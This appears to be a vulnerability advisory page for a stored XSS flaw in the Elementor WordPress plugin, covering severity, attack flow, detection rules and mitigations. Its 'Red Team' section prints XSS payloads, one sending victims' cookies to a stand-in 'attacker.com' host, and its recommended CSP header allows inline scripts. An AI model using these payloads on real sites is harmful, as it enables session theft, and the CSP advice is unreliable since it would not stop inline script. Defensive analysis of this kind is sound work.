CVE-2024-50555
Executive Summary
CVE-2024-50555 is a Stored Cross-Site Scripting (XSS) vulnerability in the Elementor Website Builder plugin for WordPress, affecting versions up to and including 3.29.0. This vulnerability allows an authenticated attacker with high privileges (e.g., Editor or Administrator) to inject malicious scripts into web pages generated by Elementor. When other users (including site visitors) view the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant due to the widespread use of Elementor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply patches as soon as they become available. Since Elementor is a widely used page builder, the supply chain risk is elevated; compromised sites could be used to distribute malware to visitors.
CVSS Breakdown & Threat Level
CVSS Score: 6.5 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): High – An attacker must have Editor or Administrator access to the WordPress site.
- User Interaction (UI): Required – The victim must view the compromised page.
- Scope (S): Changed – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): Low – Limited impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the widespread use of Elementor and the potential for stored XSS to affect all site visitors elevates the risk. The requirement for high privileges reduces the likelihood of mass exploitation but increases the danger in multi-user WordPress environments.
Deep Dive & Mechanics
The vulnerability exists in the Elementor Website Builder plugin, which allows users to create and customize WordPress pages using a drag-and-drop interface. The issue is a Stored Cross-Site Scripting (XSS) vulnerability, classified under CWE-79 (Improper Neutralization of Input During Web Page Generation).
Root Cause: Elementor fails to properly sanitize or escape user-supplied input when generating HTML output for certain widgets or custom fields. An attacker with Editor or Administrator privileges can inject malicious JavaScript code into a page element (e.g., a text widget, heading, or custom CSS). When the page is rendered, the injected script is executed in the context of the victim’s browser.
Attack Flow:
- An authenticated attacker with high privileges logs into the WordPress admin panel.
- The attacker creates or edits a page using Elementor.
- The attacker inserts a widget (e.g., a text widget) and includes a malicious payload, such as:
or a more sophisticated script that steals cookies or redirects users.<img src=x onerror=alert('XSS')> - The attacker saves/publishes the page.
- Any user (including site visitors) who views the page triggers the XSS payload.
Impact: The attacker can perform actions on behalf of the victim, such as:
- Stealing session cookies (session hijacking).
- Defacing the website.
- Redirecting users to malicious sites.
- Performing actions as the victim (e.g., creating new admin accounts).
Vulnerable vs. Patched Code
Since no official patch is available, a direct code comparison cannot be provided. However, based on the vulnerability type, the fix would involve:
- Vulnerable Code (Conceptual):
// Elementor widget output without sanitization echo $instance['text']; - Patched Code (Expected):
or using// Properly escaped output echo esc_html( $instance['text'] );wp_kses_post()for rich content.
Note: The actual vulnerable code may be in JavaScript or PHP, depending on how Elementor processes dynamic content. The patch should ensure all user inputs are sanitized and escaped before rendering.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with Elementor plugin version <= 3.29.0.
- An account with Editor or Administrator privileges.
Steps:
- Log in to the WordPress admin panel.
- Navigate to Pages > Add New and launch Elementor.
- Add a Text widget to the page.
- In the text field, enter the following payload:
or a more advanced payload:<script>alert('XSS')</script><img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> - Save and publish the page.
- Share the page URL with the victim or wait for them to visit.
Expected Result: The victim’s browser executes the injected script.
Blue Team (Detection & Prevention)
Detection:
- Monitor WordPress admin logs for unusual page edits by high-privilege users.
- Use a Web Application Firewall (WAF) to block common XSS patterns.
- Implement Content Security Policy (CSP) headers to mitigate script execution.
Prevention:
- Restrict high-privilege accounts to trusted users only.
- Regularly update Elementor to the latest version.
- Use security plugins (e.g., Wordfence) to scan for malicious content.
Indicators of Compromise (IOCs)
- File-Based IOCs:
- Modified or new page/post content containing
<script>,<img onerror>, or<svg onload>tags. - Suspicious entries in the
wp_poststable withpost_contentcontaining JavaScript.
- Modified or new page/post content containing
- Network IOCs:
- Outbound connections to unknown domains (e.g.,
attacker.com) from the WordPress server. - HTTP requests containing encoded XSS payloads in the
Contentparameter.
- Outbound connections to unknown domains (e.g.,
- Log IOCs:
- Repeated page edits by the same user in a short time.
- Error logs showing unescaped HTML output.
Detection Engineering
YARA Rule
rule CVE_2024_50555_Stored_XSS_Elementor {
meta:
description = "Detects stored XSS payloads in Elementor page content"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-50555"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /<img[^>]*onerror\s*=/is
$xss3 = /<svg[^>]*onload\s*=/is
$xss4 = /<body[^>]*onload\s*=/is
condition:
any of them
}
Sigma Rule
title: Stored XSS in Elementor Website Builder
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in WordPress page content
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
http.method: 'GET'
http.url|contains: '/elementor/'
http.response.body|contains:
- '<script>'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in Elementor widgets
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-50555 Stored XSS in Elementor"; flow:to_server,established; content:"/elementor/"; http_uri; content:"<script>"; http_server_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update Elementor: Check for updates daily. If a patched version (> 3.29.0) is released, apply it immediately.
- Restrict Privileges: Limit Editor and Administrator accounts to only trusted users. Remove unused accounts.
- Enable WAF: Use a Web Application Firewall (e.g., Cloudflare, Sucuri) to block XSS payloads.
- Implement CSP: Add a Content Security Policy header to restrict script execution:
(Note: This may break some Elementor features; test thoroughly.)Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';"
Long-Term Mitigation:
- Monitor Plugin Updates: Subscribe to Elementor’s security advisories.
- Regular Audits: Periodically review page content for suspicious scripts.
- Backup: Maintain regular backups of the WordPress database and files.
Patch Status: UNKNOWN. No official patch is available as of this report. Users should monitor the Elementor plugin page for updates.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.